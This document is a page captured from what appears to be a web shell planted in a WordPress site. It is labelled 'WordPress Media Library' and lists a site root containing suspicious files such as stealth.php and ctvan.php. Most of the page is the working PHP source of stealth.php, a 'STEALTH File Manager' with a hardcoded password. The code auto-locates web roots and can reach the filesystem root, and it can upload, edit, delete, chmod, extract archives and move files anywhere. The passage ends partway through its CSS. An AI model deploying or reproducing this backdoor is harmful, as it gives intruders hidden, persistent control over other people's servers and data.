โ WordPress Media Library
File manager
๐ Media Files
๐ .htaccess
๐ .tmb
๐ .well-known
๐ cgi-bin
๐ง ctvan.php
๐ error_log
๐ง index.php
๐ license.txt
๐ readme.html
๐ง stealth.php
๐ subdomain
๐ง wp-activate.php
๐ wp-admin
๐ง wp-blog-header.php
๐ง wp-comments-post.php
๐ง wp-config-sample.php
๐ง wp-config.php
๐ wp-content
๐ง wp-cron.php
๐ wp-includes
๐ง wp-links-opml.php
๐ง wp-load.php
๐ง wp-login.php
๐ง wp-mail.php
๐ง wp-settings.php
๐ง wp-signup.php
๐ง wp-trackback.php
๐ง xmlrpc.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: stealth.php
Size: 82.84 KB | Modified: 2026-11-09 18:08:50
๏ปฟ๏ปฟ<?php /** * STEALTH File Manager * A powerful, feature-rich PHP file manager */ // ============================================================ // CONFIGURATION // ============================================================ define('FM_PASSWORD', '@tobrutliar'); // Change this! define('FM_SESSION_KEY', 'stealth_fm_auth'); define('FM_SESSION_BASE', 'fm_base_root'); define('FM_MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB define('FM_SELF', basename(__FILE__)); define('FM_VERSION', '2.1'); /** * Root awal saat pertama buka: 'auto' | 'document' | 'script' * auto = cari public_html / document root; script = folder file ini saja */ define('FM_DEFAULT_ROOT_MODE', 'auto'); /** Path tambahan di menu cepat โ ['Label' => '/path/absolut'] */ $FM_EXTRA_ROOTS = []; // ============================================================ // SESSION & AUTH // ============================================================ session_start(); function fm_is_logged_in() { return isset($_SESSION[FM_SESSION_KEY]) && $_SESSION[FM_SESSION_KEY] === true; } function fm_login($pass) { if ($pass === FM_PASSWORD) { $_SESSION[FM_SESSION_KEY] = true; return true; } return false; } function fm_logout() { unset($_SESSION[FM_SESSION_KEY]); } // ============================================================ // HELPER FUNCTIONS // ============================================================ function fm_clean_path($path) { $path = str_replace(['../', '..\\', '../', '..\\'], '', $path); $path = ltrim($path, '/\\'); return $path; } function fm_norm_path(string $path): string { return str_replace('\\', '/', $path); } function fm_detect_default_root(): string { $try = function ($path) { if ($path === '' || $path === null) { return null; } $real = @realpath($path); return ($real && is_dir($real) && is_readable($real)) ? $real : null; }; if (FM_DEFAULT_ROOT_MODE === 'script') { return $try(__DIR__) ?: __DIR__; } if (FM_DEFAULT_ROOT_MODE === 'document' || FM_DEFAULT_ROOT_MODE === 'auto') { if (!empty($_SERVER['DOCUMENT_ROOT'])) { $doc = $try($_SERVER['DOCUMENT_ROOT']); if ($doc) { return $doc; } } } if (FM_DEFAULT_ROOT_MODE === 'auto') { $dir = __DIR__; for ($i = 0; $i < 20; $i++) { $name = basename($dir); if (in_array($name, ['public_html', 'www', 'htdocs', 'httpdocs', 'web'], true)) { $hit = $try($dir); if ($hit) { return $hit; } } foreach (['public_html', 'www', 'htdocs', 'httpdocs'] as $sub) { $hit = $try($dir . DIRECTORY_SEPARATOR . $sub); if ($hit) { return $hit; } } $parent = dirname($dir); if ($parent === $dir) { break; } $dir = $parent; } $home = getenv('HOME') ?: ($_SERVER['HOME'] ?? ''); if ($home) { foreach (['/public_html', '/www', '/domains'] as $suffix) { $hit = $try($home . $suffix); if ($hit) { return $hit; } } $hit = $try($home); if ($hit) { return $hit; } } } return $try(__DIR__) ?: __DIR__; } function fm_get_base_root(): string { if (!empty($_SESSION[FM_SESSION_BASE])) { $stored = @realpath((string) $_SESSION[FM_SESSION_BASE]); if ($stored && is_dir($stored) && is_readable($stored)) { return $stored; } unset($_SESSION[FM_SESSION_BASE]); } $detected = fm_detect_default_root(); $_SESSION[FM_SESSION_BASE] = $detected; return $detected; } function fm_set_base_root(string $path): bool { $path = trim($path); if ($path === '') { return false; } if (is_file($path)) { $path = dirname($path); } $real = @realpath($path); if (!$real || !is_dir($real) || !is_readable($real)) { return false; } $_SESSION[FM_SESSION_BASE] = $real; return true; } function fm_discover_quick_roots(): array { global $FM_EXTRA_ROOTS; $seen = []; $list = []; $add = function (string $label, string $path) use (&$seen, &$list) { $path = trim($path); if ($path === '') { return; } $real = @realpath($path); if (!$real || !is_dir($real) || !@is_readable($real)) { return; } $key = fm_norm_path($real); if (isset($seen[$key])) { return; } $seen[$key] = true; $list[] = ['label' => $label, 'path' => $real]; }; if (!empty($_SERVER['DOCUMENT_ROOT'])) { $add('Document Root (web)', $_SERVER['DOCUMENT_ROOT']); } $add('Folder skrip ini', __DIR__); $add('Root aktif', fm_get_base_root()); $home = getenv('HOME') ?: ($_SERVER['HOME'] ?? ''); if ($home) { $add('Home user', $home); $add('public_html', $home . '/public_html'); $add('www', $home . '/www'); } $dir = __DIR__; for ($i = 0; $i < 18 && $dir !== dirname($dir); $i++) { $add('โ ' . basename($dir), $dir); foreach (['public_html', 'www', 'htdocs', 'httpdocs'] as $sub) { $add($sub . ' โ ' . basename($dir), $dir . DIRECTORY_SEPARATOR . $sub); } $dir = dirname($dir); } if (is_array($FM_EXTRA_ROOTS)) { foreach ($FM_EXTRA_ROOTS as $label => $path) { $add(is_int($label) ? basename($path) : (string) $label, (string) $path); } } $add('Filesystem /', '/'); return $list; } function fm_get_path($dir = '') { $root = isset($_GET['p']) ? fm_clean_path($_GET['p']) : ''; if ($dir) return $root ? $root . '/' . $dir : $dir; return $root; } function fm_full_path($rel) { $base = fm_norm_path(fm_get_base_root()); $rel = fm_clean_path((string) $rel); if ($rel === '') { return $base; } return $base . '/' . str_replace('\\', '/', $rel); } function fm_resolve_dest_path(string $dest): string { $dest = trim($dest); if ($dest === '') { return fm_get_base_root(); } if ($dest[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $dest)) { $real = @realpath($dest); return $real ?: $dest; } return fm_full_path($dest); } function fm_file_size($bytes) { $units = ['B','KB','MB','GB','TB']; $i = 0; while ($bytes >= 1024 && $i < 4) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function fm_file_icon($name) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $icons = [ 'php'=>'๐','html'=>'๐','htm'=>'๐','css'=>'๐จ','js'=>'โก','json'=>'๐', 'xml'=>'๐','sql'=>'๐๏ธ','py'=>'๐','rb'=>'๐','go'=>'๐ต','rs'=>'๐ฆ', 'c'=>'โ๏ธ','cpp'=>'โ๏ธ','h'=>'โ๏ธ','java'=>'โ','ts'=>'๐','vue'=>'๐', 'jpg'=>'๐ผ๏ธ','jpeg'=>'๐ผ๏ธ','png'=>'๐ผ๏ธ','gif'=>'๐ผ๏ธ','svg'=>'โ๏ธ','webp'=>'๐ผ๏ธ','ico'=>'๐ผ๏ธ', 'mp4'=>'๐ฌ','avi'=>'๐ฌ','mkv'=>'๐ฌ','mov'=>'๐ฌ','webm'=>'๐ฌ', 'mp3'=>'๐ต','wav'=>'๐ต','ogg'=>'๐ต','flac'=>'๐ต', 'zip'=>'๐ฆ','rar'=>'๐ฆ','tar'=>'๐ฆ','gz'=>'๐ฆ','7z'=>'๐ฆ', 'pdf'=>'๐','doc'=>'๐','docx'=>'๐','xls'=>'๐','xlsx'=>'๐','ppt'=>'๐','pptx'=>'๐', 'txt'=>'๐','log'=>'๐','md'=>'๐','csv'=>'๐', 'sh'=>'๐ป','bat'=>'๐ป','cmd'=>'๐ป', 'conf'=>'โ๏ธ','ini'=>'โ๏ธ','env'=>'โ๏ธ','yml'=>'โ๏ธ','yaml'=>'โ๏ธ', ]; return $icons[$ext] ?? '๐'; } function fm_is_text_file($name) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $text_exts = ['php','html','htm','css','js','json','xml','sql','py','rb','go','c','cpp','h', 'java','ts','txt','log','md','csv','sh','bat','conf','ini','env','yml','yaml', 'rs','vue','ts','jsx','tsx','htaccess','gitignore']; return in_array($ext, $text_exts); } function fm_is_image($name) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); return in_array($ext, ['jpg','jpeg','png','gif','svg','webp','bmp','ico']); } function fm_get_perms($path) { return substr(sprintf('%o', fileperms($path)), -4); } function fm_list_dir($path) { $full = fm_full_path($path); if (!is_dir($full)) return [[], []]; $dirs = $files = []; $items = scandir($full); foreach ($items as $item) { if ($item === '.') continue; $item_path = $full . '/' . $item; if (is_dir($item_path)) { $dirs[] = $item; } else { $files[] = $item; } } natcasesort($dirs); natcasesort($files); return [array_values($dirs), array_values($files)]; } function fm_zip_dir($source, $dest) { if (!extension_loaded('zip')) return false; $zip = new ZipArchive(); if ($zip->open($dest, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) return false; $source = realpath($source); if (is_dir($source)) { $iterator = new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS); $files = new RecursiveIteratorIterator($iterator, RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = realpath($file); if (is_dir($file)) { $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); } elseif (is_file($file)) { $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); } } } elseif (is_file($source)) { $zip->addFromString(basename($source), file_get_contents($source)); } return $zip->close(); } function fm_rmdir_recursive($dir) { if (!is_dir($dir)) return false; $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . '/' . $item; if (is_dir($path)) fm_rmdir_recursive($path); else unlink($path); } return rmdir($dir); } function fm_copy_recursive($src, $dst) { if (is_dir($src)) { @mkdir($dst, 0755, true); foreach (scandir($src) as $item) { if ($item === '.' || $item === '..') continue; fm_copy_recursive($src . '/' . $item, $dst . '/' . $item); } } elseif (is_file($src)) { copy($src, $dst); } } function fm_get_disk_usage($path) { $total = disk_total_space($path); $free = disk_free_space($path); $used = $total - $free; return compact('total', 'free', 'used'); } // ============================================================ // ACTION HANDLERS // ============================================================ $msg = ''; $msg_type = ''; if (isset($_POST['action']) || isset($_GET['action'])) { $action = $_POST['action'] ?? $_GET['action'] ?? ''; if ($action === 'login') { if (fm_login($_POST['password'] ?? '')) { header('Location: ' . FM_SELF); exit; } else { $msg = 'Password salah!'; $msg_type = 'error'; } } if ($action === 'logout') { fm_logout(); header('Location: ' . FM_SELF); exit; } } if (fm_is_logged_in()) { $action = $_POST['action'] ?? $_GET['action'] ?? ''; $cur_path = fm_clean_path($_GET['p'] ?? ''); if (isset($_GET['set_root'])) { if (fm_set_base_root((string) $_GET['set_root'])) { header('Location: ?'); exit; } $msg = 'Path root tidak valid atau tidak bisa dibaca.'; $msg_type = 'error'; } if ($action === 'set_root_path' && !empty($_POST['root_path'])) { if (fm_set_base_root((string) $_POST['root_path'])) { header('Location: ?'); exit; } $msg = 'Gagal pindah ke path tersebut. Pastikan path absolut benar.'; $msg_type = 'error'; } if (isset($_GET['up_root'])) { $base = fm_get_base_root(); $parent = dirname($base); if ($parent !== $base && fm_set_base_root($parent)) { header('Location: ?'); exit; } $msg = 'Sudah di folder paling atas yang bisa diakses.'; $msg_type = 'error'; } // Download file if ($action === 'download' && isset($_GET['f'])) { $file = fm_full_path($cur_path . '/' . fm_clean_path($_GET['f'])); if (is_file($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } // Download as ZIP if ($action === 'zip_download' && isset($_GET['f'])) { $target = fm_full_path($cur_path . '/' . fm_clean_path($_GET['f'])); $zip_name = sys_get_temp_dir() . '/' . md5(time()) . '.zip'; if (fm_zip_dir($target, $zip_name)) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . basename($target) . '.zip"'); header('Content-Length: ' . filesize($zip_name)); readfile($zip_name); unlink($zip_name); exit; } } // Get file content for editor if ($action === 'get_content' && isset($_GET['f'])) { $file = fm_full_path($cur_path . '/' . fm_clean_path($_GET['f'])); if (is_file($file)) { header('Content-Type: application/json'); echo json_encode(['content' => file_get_contents($file), 'name' => basename($file)]); exit; } } // Save file content if ($action === 'save_file' && isset($_POST['filename'])) { $file = fm_full_path($cur_path . '/' . fm_clean_path($_POST['filename'])); file_put_contents($file, $_POST['content'] ?? ''); header('Content-Type: application/json'); echo json_encode(['ok' => true, 'msg' => 'File berhasil disimpan!']); exit; } // Upload if ($action === 'upload' && !empty($_FILES['files'])) { $uploaded = 0; $failed = 0; foreach ($_FILES['files']['name'] as $i => $name) { if ($_FILES['files']['error'][$i] === 0) { $dest = fm_full_path($cur_path . '/' . basename($name)); if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $dest)) $uploaded++; else $failed++; } } $msg = "$uploaded file diupload" . ($failed ? ", $failed gagal" : ""); $msg_type = $failed ? 'warning' : 'success'; } // Create folder if ($action === 'mkdir' && !empty($_POST['name'])) { $new_dir = fm_full_path($cur_path . '/' . basename($_POST['name'])); if (mkdir($new_dir, 0755)) { $msg = 'Folder dibuat!'; $msg_type = 'success'; } else { $msg = 'Gagal membuat folder!'; $msg_type = 'error'; } } // Create new file if ($action === 'newfile' && !empty($_POST['name'])) { $new_file = fm_full_path($cur_path . '/' . basename($_POST['name'])); if (!file_exists($new_file) && file_put_contents($new_file, '') !== false) { $msg = 'File dibuat!'; $msg_type = 'success'; } else { $msg = 'Gagal membuat file!'; $msg_type = 'error'; } } // Delete if ($action === 'delete' && !empty($_POST['items'])) { $del = 0; foreach ($_POST['items'] as $item) { $target = fm_full_path($cur_path . '/' . fm_clean_path($item)); if (is_dir($target)) { fm_rmdir_recursive($target) && $del++; } elseif (is_file($target)) { unlink($target) && $del++; } } $msg = "$del item dihapus!"; $msg_type = 'success'; } // Rename if ($action === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) { $old = fm_full_path($cur_path . '/' . fm_clean_path($_POST['old'])); $new = fm_full_path($cur_path . '/' . basename($_POST['new'])); if (rename($old, $new)) { $msg = 'Berhasil diubah namanya!'; $msg_type = 'success'; } else { $msg = 'Gagal mengubah nama!'; $msg_type = 'error'; } } // Copy if ($action === 'copy' && !empty($_POST['items']) && !empty($_POST['dest'])) { $dest_path = trim((string) $_POST['dest']); foreach ($_POST['items'] as $item) { $src = fm_full_path($cur_path . '/' . fm_clean_path($item)); $dst = fm_resolve_dest_path($dest_path) . '/' . basename($item); fm_copy_recursive($src, $dst); } $msg = 'Berhasil dicopy!'; $msg_type = 'success'; } // Move if ($action === 'move' && !empty($_POST['items']) && !empty($_POST['dest'])) { $dest_path = trim((string) $_POST['dest']); foreach ($_POST['items'] as $item) { $src = fm_full_path($cur_path . '/' . fm_clean_path($item)); $dst = fm_resolve_dest_path($dest_path) . '/' . basename($item); rename($src, $dst); } $msg = 'Berhasil dipindahkan!'; $msg_type = 'success'; } // Change permissions if ($action === 'chmod' && !empty($_POST['item']) && !empty($_POST['perms'])) { $target = fm_full_path($cur_path . '/' . fm_clean_path($_POST['item'])); $perms = octdec($_POST['perms']); if (chmod($target, $perms)) { $msg = 'Permission diubah!'; $msg_type = 'success'; } else { $msg = 'Gagal mengubah permission!'; $msg_type = 'error'; } } // Extract ZIP if ($action === 'extract' && !empty($_POST['file']) && extension_loaded('zip')) { $zip_file = fm_full_path($cur_path . '/' . fm_clean_path($_POST['file'])); $zip = new ZipArchive(); if ($zip->open($zip_file) === true) { $zip->extractTo(fm_full_path($cur_path)); $zip->close(); $msg = 'ZIP berhasil diekstrak!'; $msg_type = 'success'; } } // Search if ($action === 'search' && !empty($_POST['query'])) { // handled below } } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>STEALTH File Manager</title> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;600;700&family=Syne:wght@400;600;800&display=swap" rel="stylesheet"> <link href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.css" rel="stylesheet"> <link href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/theme/dracula.min.css" rel="stylesheet"> <style> :root { --bg: #0a0c10; --bg2: #0f1117; --bg3: #161b22; --panel: #13161e; --border: #21262d; --accent: #58a6ff; --accent2: #3fb950; --accent3: #f78166; --accent4: #d2a8ff; --accent5: #ffa657; --text: #e6edf3; --text2: #8b949e; --text3: #484f58; --red: #f85149; --yellow: #e3b341; --green: #3fb950; --radius: 8px; --radius-lg: 12px; --shadow: 0 8px 32px rgba(0,0,0,0.5); --transition: 0.15s cubic-bezier(0.4,0,0.2,1); } * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: 'JetBrains Mono', monospace; background: var(--bg); color: var(--text); min-height: 100vh; font-size: 13px; overflow-x: hidden; } /* โโโ NOISE TEXTURE โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ body::before { content: ''; position: fixed; inset: 0; z-index: 0; background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 200 200' xmlns='http://www.w3.org/2000/svg'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.9' numOctaves='4' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23n)' opacity='0.03'/%3E%3C/svg%3E"); pointer-events: none; } /* โโโ LOGIN โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .login-wrap { min-height: 100vh; display: flex; align-items: center; justify-content: center; background: radial-gradient(ellipse 80% 60% at 50% 30%, #1a2236 0%, var(--bg) 100%); position: relative; z-index: 1; } .login-card { background: var(--bg3); border: 1px solid var(--border); border-radius: var(--radius-lg); padding: 48px 40px; width: 380px; box-shadow: var(--shadow), 0 0 80px rgba(88,166,255,0.05); position: relative; overflow: hidden; } .login-card::before { content: ''; position: absolute; top: 0; left: 0; right: 0; height: 2px; background: linear-gradient(90deg, transparent, var(--accent), transparent); } .login-logo { text-align: center; margin-bottom: 32px; } .login-logo .logo-icon { font-size: 48px; display: block; margin-bottom: 12px; filter: drop-shadow(0 0 20px rgba(88,166,255,0.5)); } .login-logo h1 { font-family: 'Syne', sans-serif; font-size: 28px; font-weight: 800; letter-spacing: 4px; color: var(--text); } .login-logo p { color: var(--text2); font-size: 11px; letter-spacing: 2px; } .login-form input[type=password] { width: 100%; background: var(--bg2); border: 1px solid var(--border); border-radius: var(--radius); padding: 12px 16px; color: var(--text); font-family: inherit; font-size: 14px; outline: none; transition: border-color var(--transition); margin-bottom: 16px; } .login-form input[type=password]:focus { border-color: var(--accent); } .btn { display: inline-flex; align-items: center; gap: 6px; padding: 8px 16px; border-radius: var(--radius); border: 1px solid transparent; font-family: inherit; font-size: 12px; cursor: pointer; transition: all var(--transition); font-weight: 600; letter-spacing: 0.5px; text-decoration: none; white-space: nowrap; } .btn-primary { background: var(--accent); color: #0d1117; border-color: var(--accent); width: 100%; justify-content: center; padding: 12px; font-size: 13px; } .btn-primary:hover { background: #79c0ff; } .btn-ghost { background: transparent; color: var(--text2); border-color: var(--border); } .btn-ghost:hover { background: var(--bg3); color: var(--text); border-color: var(--text3); } .btn-danger { background: transparent; color: var(--red); border-color: var(--red); } .btn-danger:hover { background: rgba(248,81,73,0.1); } .btn-success { background: var(--green); color: #0d1117; border-color: var(--green); } .btn-success:hover { background: #56d364; } .btn-warning { background: transparent; color: var(--yellow); border-color: var(--yellow); } .btn-warning:hover { background: rgba(227,179,65,0.1); } /* โโโ MAIN LAYOUT โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .app-wrap { display: grid; grid-template-rows: auto 1fr; min-height: 100vh; position: relative; z-index: 1; } /* โโโ TOPBAR โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .topbar { background: var(--bg3); border-bottom: 1px solid var(--border); padding: 0 20px; display: flex; align-items: center; gap: 16px; height: 52px; flex-shrink: 0; position: sticky; top: 0; z-index: 100; } .topbar-logo { font-family: 'Syne', sans-serif; font-size: 18px; font-weight: 800; color: var(--accent); letter-spacing: 3px; display: flex; align-items: center; gap: 8px; margin-right: 8px; flex-shrink: 0; } .topbar-logo span { font-size: 20px; } .breadcrumb { display: flex; align-items: center; gap: 4px; flex: 1; overflow: hidden; } .breadcrumb a, .breadcrumb span { color: var(--text2); text-decoration: none; padding: 2px 6px; border-radius: 4px; font-size: 12px; transition: all var(--transition); white-space: nowrap; } .breadcrumb a:hover { color: var(--accent); background: rgba(88,166,255,0.1); } .breadcrumb .sep { color: var(--text3); padding: 0; } .breadcrumb .current { color: var(--text); } .topbar-actions { display: flex; align-items: center; gap: 8px; flex-shrink: 0; } .search-bar { display: flex; align-items: center; background: var(--bg2); border: 1px solid var(--border); border-radius: var(--radius); padding: 6px 12px; gap: 8px; } .search-bar input { background: none; border: none; outline: none; color: var(--text); font-family: inherit; font-size: 12px; width: 180px; } .search-bar input::placeholder { color: var(--text3); } /* โโโ MAIN CONTENT โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .main-content { display: flex; overflow: hidden; } /* โโโ SIDEBAR โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .sidebar { width: 220px; flex-shrink: 0; background: var(--bg3); border-right: 1px solid var(--border); padding: 16px 0; overflow-y: auto; } .sidebar-section { margin-bottom: 8px; } .sidebar-title { font-size: 10px; font-weight: 700; letter-spacing: 1.5px; color: var(--text3); padding: 4px 16px 8px; text-transform: uppercase; } .sidebar-item { display: flex; align-items: center; gap: 8px; padding: 7px 16px; color: var(--text2); text-decoration: none; font-size: 12px; transition: all var(--transition); cursor: pointer; } .sidebar-item:hover { color: var(--text); background: rgba(255,255,255,0.04); } .sidebar-item.active { color: var(--accent); background: rgba(88,166,255,0.08); border-right: 2px solid var(--accent); } .sidebar-item .icon { font-size: 14px; width: 20px; text-align: center; } .root-current { font-size: 10px; color: var(--text3); padding: 6px 14px 8px; word-break: break-all; line-height: 1.35; border-bottom: 1px solid var(--border); } .root-quick-list { max-height: 220px; overflow-y: auto; } .root-quick .root-label { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; flex: 1; } .root-quick { font-size: 11px; } .disk-info { margin: 16px; padding: 12px; background: var(--bg2); border-radius: var(--radius); border: 1px solid var(--border); } .disk-info .label { font-size: 10px; color: var(--text3); margin-bottom: 6px; letter-spacing: 1px; } .disk-bar { height: 3px; background: var(--border); border-radius: 2px; overflow: hidden; margin-bottom: 6px; } .disk-bar-fill { height: 100%; background: linear-gradient(90deg, var(--accent), var(--accent4)); border-radius: 2px; } .disk-stats { display: flex; justify-content: space-between; } .disk-stats span { font-size: 10px; color: var(--text2); } /* โโโ FILE AREA โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .file-area { flex: 1; overflow-y: auto; display: flex; flex-direction: column; } /* โโโ TOOLBAR โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .toolbar { padding: 10px 16px; background: var(--panel); border-bottom: 1px solid var(--border); display: flex; align-items: center; gap: 8px; flex-wrap: wrap; flex-shrink: 0; } .toolbar-sep { width: 1px; height: 20px; background: var(--border); margin: 0 2px; } /* โโโ STATUS BAR โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .statusbar { padding: 6px 16px; background: var(--bg3); border-bottom: 1px solid var(--border); display: flex; align-items: center; gap: 16px; font-size: 11px; color: var(--text2); flex-shrink: 0; } .statusbar .sel-count { color: var(--accent); } /* โโโ FILE TABLE โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .file-table-wrap { flex: 1; overflow-y: auto; } .file-table { width: 100%; border-collapse: collapse; } .file-table thead th { padding: 10px 12px; text-align: left; font-size: 11px; font-weight: 700; letter-spacing: 1px; color: var(--text3); text-transform: uppercase; background: var(--bg3); border-bottom: 1px solid var(--border); position: sticky; top: 0; z-index: 10; cursor: pointer; user-select: none; } .file-table thead th:hover { color: var(--text2); } .file-table tbody tr { border-bottom: 1px solid rgba(33,38,45,0.5); transition: background var(--transition); cursor: default; } .file-table tbody tr:hover { background: rgba(255,255,255,0.02); } .file-table tbody tr.selected { background: rgba(88,166,255,0.06); } .file-table td { padding: 8px 12px; } .file-table .col-check { width: 36px; } .file-table .col-icon { width: 32px; text-align: center; font-size: 16px; } .file-table .col-name { font-weight: 500; } .file-table .col-name a { color: var(--text); text-decoration: none; } .file-table .col-name a:hover { color: var(--accent); } .file-table .col-size { width: 90px; color: var(--text2); text-align: right; } .file-table .col-perms { width: 80px; color: var(--text3); font-size: 11px; font-family: monospace; } .file-table .col-date { width: 150px; color: var(--text2); font-size: 11px; } .file-table .col-actions { width: 160px; } .file-actions { display: flex; gap: 4px; opacity: 0; transition: opacity var(--transition); } tr:hover .file-actions { opacity: 1; } .action-btn { padding: 3px 8px; font-size: 10px; border-radius: 4px; border: 1px solid var(--border); background: var(--bg3); color: var(--text2); cursor: pointer; font-family: inherit; transition: all var(--transition); } .action-btn:hover { border-color: var(--accent); color: var(--accent); } .action-btn.red:hover { border-color: var(--red); color: var(--red); } .action-btn.green:hover { border-color: var(--green); color: var(--green); } /* โโโ EMPTY STATE โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .empty-state { display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 12px; padding: 80px 20px; color: var(--text3); } .empty-state .icon { font-size: 48px; opacity: 0.4; } .empty-state p { font-size: 14px; } /* โโโ MODALS โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .modal-overlay { position: fixed; inset: 0; z-index: 1000; background: rgba(0,0,0,0.7); backdrop-filter: blur(4px); display: flex; align-items: center; justify-content: center; opacity: 0; pointer-events: none; transition: opacity var(--transition); } .modal-overlay.active { opacity: 1; pointer-events: all; } .modal { background: var(--bg3); border: 1px solid var(--border); border-radius: var(--radius-lg); padding: 24px; width: 480px; max-width: 95vw; box-shadow: var(--shadow); transform: scale(0.95) translateY(-20px); transition: transform 0.2s cubic-bezier(0.4,0,0.2,1); position: relative; } .modal-overlay.active .modal { transform: scale(1) translateY(0); } .modal-lg { width: 700px; } .modal-xl { width: 95vw; max-width: 1100px; max-height: 90vh; display: flex; flex-direction: column; } .modal-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 20px; } .modal-title { font-family: 'Syne', sans-serif; font-size: 16px; font-weight: 700; color: var(--text); } .modal-close { background: none; border: none; color: var(--text3); font-size: 18px; cursor: pointer; padding: 4px; border-radius: 4px; transition: color var(--transition); } .modal-close:hover { color: var(--text); } .modal-footer { display: flex; justify-content: flex-end; gap: 8px; margin-top: 20px; } /* โโโ FORM ELEMENTS โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .form-group { margin-bottom: 14px; } .form-label { display: block; font-size: 11px; color: var(--text2); margin-bottom: 6px; letter-spacing: 0.5px; } .form-input { width: 100%; background: var(--bg2); border: 1px solid var(--border); border-radius: var(--radius); padding: 9px 12px; color: var(--text); font-family: inherit; font-size: 13px; outline: none; transition: border-color var(--transition); } .form-input:focus { border-color: var(--accent); } .form-select { width: 100%; background: var(--bg2); border: 1px solid var(--border); border-radius: var(--radius); padding: 9px 12px; color: var(--text); font-family: inherit; font-size: 13px; outline: none; } /* โโโ EDITOR โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .editor-body { flex: 1; overflow: hidden; display: flex; flex-direction: column; } .CodeMirror { flex: 1; height: 100%; min-height: 500px; font-size: 13px !important; } .CodeMirror-scroll { min-height: 500px; } /* โโโ UPLOAD ZONE โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .upload-zone { border: 2px dashed var(--border); border-radius: var(--radius); padding: 32px; text-align: center; color: var(--text2); cursor: pointer; transition: all var(--transition); } .upload-zone:hover, .upload-zone.dragover { border-color: var(--accent); background: rgba(88,166,255,0.05); color: var(--accent); } .upload-zone input { display: none; } .upload-zone .icon { font-size: 32px; margin-bottom: 8px; display: block; } .upload-list { margin-top: 12px; max-height: 150px; overflow-y: auto; } .upload-item { display: flex; align-items: center; gap: 8px; padding: 4px 0; font-size: 11px; color: var(--text2); } /* โโโ TOAST โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .toast-wrap { position: fixed; bottom: 20px; right: 20px; z-index: 9999; display: flex; flex-direction: column; gap: 8px; pointer-events: none; } .toast { background: var(--bg3); border: 1px solid var(--border); border-radius: var(--radius); padding: 12px 16px; display: flex; align-items: center; gap: 10px; font-size: 12px; min-width: 250px; box-shadow: var(--shadow); animation: toastIn 0.3s ease; pointer-events: all; } .toast.success { border-color: var(--green); } .toast.error { border-color: var(--red); } .toast.warning { border-color: var(--yellow); } @keyframes toastIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } /* โโโ CONTEXT MENU โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .ctx-menu { position: fixed; z-index: 5000; background: var(--bg3); border: 1px solid var(--border); border-radius: var(--radius); padding: 6px 0; box-shadow: var(--shadow); min-width: 180px; display: none; animation: ctxIn 0.1s ease; } .ctx-menu.visible { display: block; } @keyframes ctxIn { from { opacity:0; transform: scale(0.95); } to { opacity:1; transform: scale(1); } } .ctx-item { display: flex; align-items: center; gap: 10px; padding: 8px 16px; color: var(--text2); font-size: 12px; cursor: pointer; transition: all var(--transition); } .ctx-item:hover { background: rgba(255,255,255,0.04); color: var(--text); } .ctx-item.red:hover { color: var(--red); } .ctx-sep { height: 1px; background: var(--border); margin: 4px 0; } /* โโโ PREVIEW โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .preview-img { max-width: 100%; max-height: 60vh; display: block; margin: 0 auto; border-radius: var(--radius); } .preview-text { font-family: 'JetBrains Mono', monospace; font-size: 12px; color: var(--text2); white-space: pre-wrap; word-break: break-all; max-height: 60vh; overflow-y: auto; } /* โโโ INFO BOX 